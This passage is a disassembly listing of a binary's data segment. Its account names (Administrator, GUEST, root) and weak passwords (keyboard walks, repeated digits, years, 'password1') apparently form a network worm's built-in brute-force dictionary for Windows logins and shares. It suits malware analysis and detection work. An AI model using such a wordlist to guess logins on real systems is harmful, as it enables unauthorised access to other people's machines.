		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		align 10h
dword_42E870	dd 10h			; DATA XREF: sub_40AF80+72w
					; sub_40CD3A+B03r ...
a142536		db '142536',0           ; DATA XREF: seg001:0042E7F4o
		align 4
a753951		db '753951',0           ; DATA XREF: seg001:0042E7F0o
		align 4
a951753		db '951753',0           ; DATA XREF: seg001:0042E7ECo
		align 4
a159357		db '159357',0           ; DATA XREF: seg001:0042E7E8o
		align 4
a753159		db '753159',0           ; DATA XREF: seg001:0042E7E4o
		align 4
a13579		db '13579',0            ; DATA XREF: seg001:0042E7E0o
		align 4
a2684		db '2684',0             ; DATA XREF: seg001:0042E7DCo
		align 4
a2486		db '2486',0             ; DATA XREF: seg001:0042E7D8o
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: seg001:0042E7D4o
		align 4
aMnb		db 'mnb',0              ; DATA XREF: seg001:0042E7D0o
a112233		db '112233',0           ; DATA XREF: seg001:0042E7CCo
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: seg001:0042E7C8o
		align 10h
a3edc		db '3edc',0             ; DATA XREF: seg001:0042E7C4o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: seg001:0042E7C0o
		align 10h
a2wsx		db '2wsx',0             ; DATA XREF: seg001:0042E7BCo
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg001:0042E7B8o
		align 10h
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg001:0042E7B4o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg001:0042E7B0o
		align 10h
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg001:0042E7ACo
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg001:0042E7A8o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg001:0042E7A4o
		align 10h
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg001:0042E7A0o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: seg001:0042E79Co
		align 4
aAass		db 'aass',0             ; DATA XREF: seg001:0042E798o
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: seg001:0042E794o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg001:0042E790o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg001:0042E78Co
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg001:0042E788o
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: seg001:0042E784o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg001:0042E780o
aZz		db 'zz',0               ; DATA XREF: seg001:0042E77Co
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg001:0042E774o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg001:0042E770o
		align 4
aQqqq		db 'qqqq',0             ; DATA XREF: seg001:0042E76Co
		align 4
aQqq		db 'qqq',0              ; DATA XREF: seg001:0042E768o
aQq		db 'qq',0               ; DATA XREF: seg001:0042E764o
		align 4
aQ:					; DATA XREF: seg001:0042E760o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: seg001:0042E75Co
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: seg001:0042E758o
		align 10h
aWwww		db 'wwww',0             ; DATA XREF: seg001:0042E754o
		align 4
aWww		db 'www',0              ; DATA XREF: seg001:0042E750o
aWw		db 'ww',0               ; DATA XREF: seg001:0042E74Co
		align 10h
aW:					; DATA XREF: seg001:0042E748o
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg001:0042E744o
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg001:0042E740o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: seg001:0042E73Co
		align 4
aVvv		db 'vvv',0              ; DATA XREF: sub_40CD3A+25AAo
					; seg001:0042E738o
aVv		db 'vv',0               ; DATA XREF: seg001:0042E734o
		align 4
aV:					; DATA XREF: seg001:0042E730o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg001:0042E72Co
		align 10h
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg001:0042E728o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg001:0042E724o
		align 10h
aYyy		db 'yyy',0              ; DATA XREF: seg001:0042E720o
aYy		db 'yy',0               ; DATA XREF: seg001:0042E71Co
		align 4
aY:					; DATA XREF: seg001:0042E718o
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg001:0042E714o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: seg001:0042E710o
		align 4
aTttt		db 'tttt',0             ; DATA XREF: seg001:0042E70Co
		align 4
aTtt		db 'ttt',0              ; DATA XREF: seg001:0042E708o
aTt		db 'tt',0               ; DATA XREF: seg001:0042E704o
		align 4
aT:					; DATA XREF: seg001:0042E700o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg001:0042E6FCo
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg001:0042E6F8o
		align 10h
aSsss		db 'ssss',0             ; DATA XREF: seg001:0042E6F4o
		align 4
aSss		db 'sss',0              ; DATA XREF: seg001:0042E6F0o
aSs		db 'ss',0               ; DATA XREF: seg001:0042E6ECo
		align 10h
aS_4:					; DATA XREF: seg001:0042E6E8o
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg001:0042E6E4o
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg001:0042E6E0o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: seg001:0042E6DCo
		align 4
aUuu		db 'uuu',0              ; DATA XREF: seg001:0042E6D8o
aUu		db 'uu',0               ; DATA XREF: seg001:0042E6D4o
		align 4
aU_0:					; DATA XREF: seg001:0042E6D0o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg001:0042E6CCo
		align 10h
aPpppp		db 'ppppp',0            ; DATA XREF: seg001:0042E6C8o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg001:0042E6C4o
		align 10h
aPpp		db 'ppp',0              ; DATA XREF: seg001:0042E6C0o
aPp		db 'pp',0               ; DATA XREF: seg001:0042E6BCo
		align 4
aP_1:					; DATA XREF: seg001:0042E6B8o
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg001:0042E6B4o
		align 4
aOoooo		db 'ooooo',0
		align 4
aOooo		db 'oooo',0
		align 4
aOoo		db 'ooo',0
aOo		db 'oo',0
		align 4
aO:
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0
		align 4
aNnnnn		db 'nnnnn',0
		align 10h
aNnnn		db 'nnnn',0
		align 4
aNnn		db 'nnn',0
aNn		db 'nn',0
		align 10h
aN_0:
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0
		align 4
aMmmmm		db 'mmmmm',0
		align 4
aMmmm		db 'mmmm',0
		align 4
aMmm		db 'mmm',0
aMm		db 'mm',0
		align 4
aM_0:
		unicode	0, <m>,0
aLlllll		db 'llllll',0
		align 10h
aLllll		db 'lllll',0
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg001:0042E664o
		align 10h
aLll		db 'lll',0
aLl		db 'll',0
		align 4
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0
		align 4
aKkkkk		db 'kkkkk',0
		align 4
aKkkk		db 'kkkk',0
		align 4
aKkk		db 'kkk',0
aKk		db 'kk',0               ; DATA XREF: seg001:0042E644o
		align 4
aK:
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0
		align 4
aJjjjj		db 'jjjjj',0
		align 10h
aJjjj		db 'jjjj',0
		align 4
aJjj		db 'jjj',0
aJj		db 'jj',0               ; DATA XREF: seg001:0042E62Co
		align 10h
aJ:
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0
		align 4
aIiiii		db 'iiiii',0            ; DATA XREF: seg001:0042E620o
		align 4
aIiii		db 'iiii',0
		align 4
aIii		db 'iii',0
aIi		db 'ii',0
		align 4
aI_1:
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: seg001:0042E60Co
		align 10h
aHhhhh		db 'hhhhh',0            ; DATA XREF: seg001:0042E608o
		align 4
aHhhh		db 'hhhh',0
		align 10h
aHhh		db 'hhh',0
aHh		db 'hh',0
		align 4
asc_42EBA8:				; DATA XREF: seg001:0042E5F8o
		unicode	0, <h>,0
aGggggg		db 'gggggg',0
		align 4
aGgggg		db 'ggggg',0
		align 4
aGggg		db 'gggg',0
		align 4
aGgg		db 'ggg',0              ; DATA XREF: seg001:0042E5E8o
aGg		db 'gg',0               ; DATA XREF: seg001:0042E5E4o
		align 4
aG:
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0
		align 4
aEeeee		db 'eeeee',0
		align 10h
aEeee		db 'eeee',0
		align 4
aEee		db 'eee',0              ; DATA XREF: seg001:0042E5D0o
aEe		db 'ee',0               ; DATA XREF: seg001:0042E5CCo
		align 10h
aE:					; DATA XREF: seg001:0042E5C8o
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: seg001:0042E5C4o
		align 4
aFfff		db 'ffff',0
		align 4
aFff		db 'fff',0
aFf		db 'ff',0
		align 4
aF:					; DATA XREF: seg001:0042E5B4o
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: seg001:0042E5B0o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: seg001:0042E5ACo
		align 10h
aDdd		db 'ddd',0              ; DATA XREF: seg001:0042E5A8o
aDd_1		db 'dd',0               ; DATA XREF: seg001:0042E5A4o
		align 4
aD:					; DATA XREF: seg001:0042E5A0o
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: seg001:0042E59Co
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: seg001:0042E598o
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: seg001:0042E594o
aCccccc		db 'cccccc',0           ; DATA XREF: seg001:0042E590o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: seg001:0042E58Co
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: seg001:0042E588o
		align 4
aCcc		db 'ccc',0              ; DATA XREF: seg001:0042E584o
aCc		db 'cc',0               ; DATA XREF: seg001:0042E580o
		align 4
aC_1:					; DATA XREF: seg001:0042E57Co
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg001:0042E578o
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: seg001:0042E574o
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: seg001:0042E570o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: seg001:0042E56Co
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg001:0042E568o
		align 10h
aBbbb		db 'bbbb',0             ; DATA XREF: seg001:0042E564o
		align 4
aBbb		db 'bbb',0              ; DATA XREF: seg001:0042E560o
aBb		db 'bb',0               ; DATA XREF: seg001:0042E55Co
		align 10h
aB_0:					; DATA XREF: seg001:0042E558o
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: seg001:0042E554o
aEdc		db 'edc',0              ; DATA XREF: seg001:0042E550o
aWsx		db 'wsx',0              ; DATA XREF: seg001:0042E54Co
aQaz		db 'qaz',0              ; DATA XREF: seg001:0042E548o
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: seg001:0042E544o
		align 10h
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: seg001:0042E540o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: seg001:0042E53Co
aAsdfgh		db 'asdfgh',0           ; DATA XREF: seg001:0042E538o
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: seg001:0042E534o
		align 4
aAs		db 'as',0               ; DATA XREF: seg001:0042E528o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg001:0042E524o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg001:0042E520o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: seg001:0042E51Co
		align 10h
aZxc		db 'zxc',0              ; DATA XREF: seg001:0042E514o
aZx		db 'zx',0               ; DATA XREF: seg001:0042E510o
		align 4
aZ_1:					; DATA XREF: seg001:0042E50Co
					; seg001:0042E778o
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg001:0042E508o
aToyota_0	db 'TOYOTA',0           ; DATA XREF: seg001:0042E4D0o
		align 4
aKor		db 'KOR',0              ; DATA XREF: seg001:0042E4CCo
aKor_0		db 'kor',0              ; DATA XREF: seg001:0042E4C4o
aChi		db 'chi',0              ; DATA XREF: seg001:0042E4C0o
aChi_0		db 'CHI',0              ; DATA XREF: seg001:0042E4BCo
aSystem		db 'system',0           ; DATA XREF: seg001:0042E4B4o
					; seg001:0042E7F8o
		align 4
aServices	db 'services',0         ; DATA XREF: seg001:0042E4B0o
		align 10h
aServers	db 'servers',0          ; DATA XREF: seg001:0042E4ACo
aServer_0	db 'server',0           ; DATA XREF: seg001:0042E4A4o
		align 10h
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg001:0042E49Co
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg001:0042E498o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg001:0042E494o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: seg001:0042E490o
aQwe		db 'qwe',0              ; DATA XREF: seg001:0042E480o
aQw		db 'qw',0               ; DATA XREF: seg001:0042E47Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg001:0042E478o
		align 10h
aPassword_0	db 'Password',0         ; DATA XREF: seg001:0042E474o
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg001:0042E470o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg001:0042E46Co
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg001:0042E468o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg001:0042E464o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg001:0042E460o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: seg001:0042E45Co
		align 4
aAa		db 'aa',0               ; DATA XREF: seg001:0042E454o
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: seg001:0042E448o
		align 10h
aSex		db 'SEX',0              ; DATA XREF: seg001:0042E444o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg001:0042E440o
		align 10h
aDisc_0		db 'DISC',0             ; DATA XREF: seg001:0042E43Co
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg001:0042E438o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg001:0042E434o
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: seg001:0042E430o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg001:0042E42Co
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg001:0042E428o
aSony		db 'sony',0             ; DATA XREF: seg001:0042E424o
		align 4
a7654321	db '7654321',0          ; DATA XREF: seg001:0042E420o
a4321		db '4321',0             ; DATA XREF: seg001:0042E414o
		align 4
a321		db '321',0              ; DATA XREF: seg001:0042E410o
a2006		db '2006',0             ; DATA XREF: seg001:0042E408o
		align 4
a2005		db '2005',0             ; DATA XREF: seg001:0042E404o
		align 10h
a2004		db '2004',0             ; DATA XREF: seg001:0042E400o
		align 4
a2001		db '2001',0             ; DATA XREF: seg001:0042E3F4o
		align 10h
a2000		db '2000',0             ; DATA XREF: seg001:0042E3F0o
		align 4
a1999		db '1999',0             ; DATA XREF: seg001:0042E3ECo
		align 10h
a1998		db '1998',0             ; DATA XREF: seg001:0042E3E8o
		align 4
a1997		db '1997',0             ; DATA XREF: seg001:0042E3E4o
		align 10h
a1996		db '1996',0             ; DATA XREF: seg001:0042E3E0o
		align 4
a1995		db '1995',0             ; DATA XREF: seg001:0042E3DCo
		align 10h
a1994		db '1994',0             ; DATA XREF: seg001:0042E3D8o
		align 4
a1993		db '1993',0             ; DATA XREF: seg001:0042E3D4o
		align 10h
a1992		db '1992',0             ; DATA XREF: seg001:0042E3D0o
		align 4
a1991		db '1991',0             ; DATA XREF: seg001:0042E3CCo
		align 10h
a1990		db '1990',0             ; DATA XREF: seg001:0042E3C8o
		align 4
a1989		db '1989',0             ; DATA XREF: seg001:0042E3C4o
		align 10h
a1988		db '1988',0             ; DATA XREF: seg001:0042E3C0o
		align 4
a1987		db '1987',0             ; DATA XREF: seg001:0042E3BCo
		align 10h
a1986		db '1986',0             ; DATA XREF: seg001:0042E3B8o
		align 4
a1985		db '1985',0             ; DATA XREF: seg001:0042E3B4o
		align 10h
a1984		db '1984',0             ; DATA XREF: seg001:0042E3B0o
		align 4
a1983		db '1983',0             ; DATA XREF: seg001:0042E3ACo
		align 10h
a1982		db '1982',0             ; DATA XREF: seg001:0042E3A8o
		align 4
a1981		db '1981',0             ; DATA XREF: seg001:0042E3A4o
		align 10h
a1980		db '1980',0             ; DATA XREF: seg001:0042E3A0o
		align 4
a1979		db '1979',0             ; DATA XREF: seg001:0042E39Co
		align 10h
a1978		db '1978',0             ; DATA XREF: seg001:0042E398o
		align 4
a1977		db '1977',0             ; DATA XREF: seg001:0042E394o
		align 10h
a1976		db '1976',0             ; DATA XREF: seg001:0042E390o
		align 4
a1975		db '1975',0             ; DATA XREF: seg001:0042E38Co
		align 10h
a1974		db '1974',0             ; DATA XREF: seg001:0042E388o
		align 4
a1973		db '1973',0             ; DATA XREF: seg001:0042E384o
		align 10h
a1972		db '1972',0             ; DATA XREF: seg001:0042E380o
		align 4
a1971		db '1971',0             ; DATA XREF: seg001:0042E37Co
		align 10h
a1970		db '1970',0             ; DATA XREF: seg001:0042E378o
		align 4
a1969		db '1969',0             ; DATA XREF: seg001:0042E374o
		align 10h
a1968		db '1968',0             ; DATA XREF: seg001:0042E370o
		align 4
a1967		db '1967',0             ; DATA XREF: seg001:0042E36Co
		align 10h
a1966		db '1966',0             ; DATA XREF: seg001:0042E368o
		align 4
a1965		db '1965',0             ; DATA XREF: seg001:0042E364o
		align 10h
a1964		db '1964',0             ; DATA XREF: seg001:0042E360o
		align 4
a1963		db '1963',0             ; DATA XREF: seg001:0042E35Co
		align 10h
a1962		db '1962',0             ; DATA XREF: seg001:0042E358o
		align 4
a1961		db '1961',0             ; DATA XREF: seg001:0042E354o
		align 10h
a1960		db '1960',0             ; DATA XREF: seg001:0042E350o
		align 4
a1959		db '1959',0             ; DATA XREF: seg001:0042E34Co
		align 10h
a1958		db '1958',0             ; DATA XREF: seg001:0042E348o
		align 4
a1957		db '1957',0             ; DATA XREF: seg001:0042E344o
		align 10h
a1956		db '1956',0             ; DATA XREF: seg001:0042E340o
		align 4
a1955		db '1955',0             ; DATA XREF: seg001:0042E33Co
		align 10h
a1954		db '1954',0             ; DATA XREF: seg001:0042E338o
		align 4
a1953		db '1953',0             ; DATA XREF: seg001:0042E334o
		align 10h
a1952		db '1952',0             ; DATA XREF: seg001:0042E330o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: seg001:0042E32Co
a1234asd	db '1234asd',0          ; DATA XREF: seg001:0042E328o
a1234abc	db '1234abc',0          ; DATA XREF: seg001:0042E324o
a123qwer	db '123qwer',0          ; DATA XREF: seg001:0042E310o
a12qwe		db '12qwe',0            ; DATA XREF: seg001:0042E30Co
		align 10h
a12asd		db '12asd',0            ; DATA XREF: seg001:0042E308o
		align 4
a12abc		db '12abc',0            ; DATA XREF: seg001:0042E304o
		align 10h
a12qwer		db '12qwer',0           ; DATA XREF: seg001:0042E300o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: seg001:0042E2FCo
		align 10h
a1asd		db '1asd',0             ; DATA XREF: seg001:0042E2F8o
		align 4
a1abc		db '1abc',0             ; DATA XREF: seg001:0042E2F4o
		align 10h
a1qwer		db '1qwer',0            ; DATA XREF: seg001:0042E2F0o
		align 4
a123467890	db '123467890',0        ; DATA XREF: seg001:0042E2ECo
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg001:0042E2E8o
		align 10h
a1234678	db '1234678',0          ; DATA XREF: seg001:0042E2E4o
a123467		db '123467',0           ; DATA XREF: seg001:0042E2E0o
		align 10h
a12346		db '12346',0            ; DATA XREF: seg001:0042E2DCo
		align 4
a121		db '121',0              ; DATA XREF: seg001:0042E2B4o
a1020		db '1020',0             ; DATA XREF: seg001:0042E2ACo
		align 4
a0258		db '0258',0             ; DATA XREF: seg001:0042E2A8o
		align 4
a8520		db '8520',0             ; DATA XREF: seg001:0042E2A4o
		align 4
a987		db '987',0              ; DATA XREF: seg001:0042E2A0o
a789		db '789',0              ; DATA XREF: seg001:0042E29Co
a654		db '654',0              ; DATA XREF: seg001:0042E298o
a456		db '456',0              ; DATA XREF: seg001:0042E294o
a1122		db '1122',0             ; DATA XREF: seg001:0042E290o
		align 4
a0147		db '0147',0             ; DATA XREF: seg001:0042E28Co
		align 4
a7410		db '7410',0             ; DATA XREF: seg001:0042E288o
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: seg001:0042E280o
		align 4
a999999999	db '999999999',0        ; DATA XREF: seg001:0042E27Co
		align 4
a99999999	db '99999999',0         ; DATA XREF: seg001:0042E278o
		align 10h
a9999999	db '9999999',0          ; DATA XREF: seg001:0042E274o
a999999		db '999999',0           ; DATA XREF: seg001:0042E270o
		align 10h
a99999		db '99999',0            ; DATA XREF: seg001:0042E26Co
		align 4
a9999		db '9999',0             ; DATA XREF: seg001:0042E268o
		align 10h
a999		db '999',0              ; DATA XREF: seg001:0042E264o
a99		db '99',0               ; DATA XREF: seg001:0042E260o
		align 4
a9:					; DATA XREF: seg001:0042E25Co
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg001:0042E258o
		align 4
a888888888	db '888888888',0        ; DATA XREF: seg001:0042E254o
		align 4
a8888888	db '8888888',0          ; DATA XREF: seg001:0042E24Co
a888888		db '888888',0           ; DATA XREF: seg001:0042E248o
		align 4
a88888		db '88888',0            ; DATA XREF: seg001:0042E244o
		align 4
a8888		db '8888',0             ; DATA XREF: seg001:0042E240o
		align 4
a888		db '888',0              ; DATA XREF: seg001:0042E23Co
a88		db '88',0               ; DATA XREF: seg001:0042E238o
		align 4
a8:					; DATA XREF: seg001:0042E234o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg001:0042E230o
		align 4
a777777777	db '777777777',0        ; DATA XREF: seg001:0042E22Co
		align 4
a77777777	db '77777777',0         ; DATA XREF: seg001:0042E228o
		align 4
a7777777	db '7777777',0          ; DATA XREF: seg001:0042E224o
a777777		db '777777',0           ; DATA XREF: seg001:0042E220o
		align 4
a77777		db '77777',0            ; DATA XREF: seg001:0042E21Co
		align 4
a7777		db '7777',0             ; DATA XREF: seg001:0042E218o
		align 4
a777		db '777',0              ; DATA XREF: seg001:0042E214o
a77		db '77',0               ; DATA XREF: seg001:0042E210o
		align 4
a7:					; DATA XREF: seg001:0042E20Co
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg001:0042E208o
		align 4
a666666666	db '666666666',0        ; DATA XREF: seg001:0042E204o
		align 4
a66666666	db '66666666',0         ; DATA XREF: seg001:0042E200o
		align 4
a6666666	db '6666666',0          ; DATA XREF: seg001:0042E1FCo
a666666		db '666666',0           ; DATA XREF: seg001:0042E1F8o
		align 4
a66666		db '66666',0            ; DATA XREF: seg001:0042E1F4o
		align 4
a6666		db '6666',0             ; DATA XREF: seg001:0042E1F0o
		align 4
a666		db '666',0              ; DATA XREF: seg001:0042E1ECo
a66		db '66',0               ; DATA XREF: seg001:0042E1E8o
		align 4
a6:					; DATA XREF: seg001:0042E1E4o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg001:0042E1E0o
		align 4
a555555555	db '555555555',0        ; DATA XREF: seg001:0042E1DCo
		align 4
a55555555	db '55555555',0         ; DATA XREF: seg001:0042E1D8o
		align 4
a5555555	db '5555555',0          ; DATA XREF: seg001:0042E1D4o
a555555		db '555555',0           ; DATA XREF: seg001:0042E1D0o
		align 4
a55555		db '55555',0            ; DATA XREF: seg001:0042E1CCo
		align 4
a5555		db '5555',0             ; DATA XREF: seg001:0042E1C8o
		align 4
a555		db '555',0              ; DATA XREF: seg001:0042E1C4o
a55		db '55',0               ; DATA XREF: seg001:0042E1C0o
		align 4
a5_0:					; DATA XREF: seg001:0042E1BCo
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg001:0042E1B8o
		align 4
a444444444	db '444444444',0        ; DATA XREF: seg001:0042E1B4o
		align 4
a44444444	db '44444444',0         ; DATA XREF: seg001:0042E1B0o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg001:0042E1ACo
a444444		db '444444',0           ; DATA XREF: seg001:0042E1A8o
		align 4
a44444		db '44444',0            ; DATA XREF: seg001:0042E1A4o
		align 4
a4444		db '4444',0             ; DATA XREF: seg001:0042E1A0o
		align 4
a444		db '444',0              ; DATA XREF: seg001:0042E19Co
a44		db '44',0               ; DATA XREF: seg001:0042E198o
		align 4
a4_0:					; DATA XREF: seg001:0042E194o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg001:0042E190o
		align 4
a333333333	db '333333333',0        ; DATA XREF: seg001:0042E18Co
		align 4
a33333333	db '33333333',0         ; DATA XREF: seg001:0042E188o
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg001:0042E184o
a333333		db '333333',0           ; DATA XREF: seg001:0042E180o
		align 4
a33333		db '33333',0            ; DATA XREF: seg001:0042E17Co
		align 4
a3333		db '3333',0             ; DATA XREF: seg001:0042E178o
		align 4
a333		db '333',0              ; DATA XREF: seg001:0042E174o
a33		db '33',0               ; DATA XREF: seg001:0042E170o
		align 4
a3:					; DATA XREF: seg001:0042E16Co
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg001:0042E168o
		align 4
a222222222	db '222222222',0        ; DATA XREF: seg001:0042E164o
		align 4
a22222222	db '22222222',0         ; DATA XREF: seg001:0042E160o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg001:0042E15Co
a222222		db '222222',0           ; DATA XREF: seg001:0042E158o
		align 4
a22222		db '22222',0            ; DATA XREF: seg001:0042E154o
		align 4
a2222		db '2222',0             ; DATA XREF: seg001:0042E150o
		align 4
a222		db '222',0              ; DATA XREF: seg001:0042E14Co
a22		db '22',0               ; DATA XREF: seg001:0042E148o
		align 4
a2:					; DATA XREF: seg001:0042E144o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg001:0042E140o
		align 4
a111111111	db '111111111',0        ; DATA XREF: seg001:0042E13Co
		align 4
a1111111	db '1111111',0          ; DATA XREF: seg001:0042E134o
a11111		db '11111',0            ; DATA XREF: seg001:0042E12Co
		align 4
a1111		db '1111',0             ; DATA XREF: seg001:0042E128o
		align 10h
a11		db '11',0               ; DATA XREF: seg001:0042E120o
		align 4
a010		db '010',0              ; DATA XREF: seg001:0042E110o
a009		db '009',0              ; DATA XREF: seg001:0042E10Co
a008		db '008',0              ; DATA XREF: seg001:0042E108o
a006		db '006',0              ; DATA XREF: seg001:0042E100o
a005		db '005',0              ; DATA XREF: sub_40CD3A+207o
					; seg001:0042E0FCo
a004		db '004',0              ; DATA XREF: seg001:0042E0F8o
a003		db '003',0              ; DATA XREF: seg001:0042E0F4o
a002		db '002',0              ; DATA XREF: seg001:0042E0F0o
a001		db '001',0              ; DATA XREF: sub_40CD3A+1F2o
					; seg001:0042E0ECo
asc_42F398	db '*********',0        ; DATA XREF: seg001:0042E0E8o
		align 4
asc_42F3A4	db '********',0         ; DATA XREF: seg001:0042E0E4o
		align 10h
asc_42F3B0	db '*******',0          ; DATA XREF: seg001:0042E0E0o
asc_42F3B8	db '******',0           ; DATA XREF: seg001:0042E0DCo
		align 10h
asc_42F3C0	db '*****',0            ; DATA XREF: seg001:0042E0D8o
		align 4
asc_42F3C8	db '****',0             ; DATA XREF: seg001:0042E0D4o
		align 10h
asc_42F3D0	db '***',0              ; DATA XREF: seg001:0042E0D0o
asc_42F3D4	db '**',0               ; DATA XREF: seg001:0042E0CCo
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: seg001:0042E0C4o
		align 4
a000000000	db '000000000',0        ; DATA XREF: seg001:0042E0C0o
		align 10h
a@		db '@!',0               ; DATA XREF: seg001:0042E0A0o
		align 4
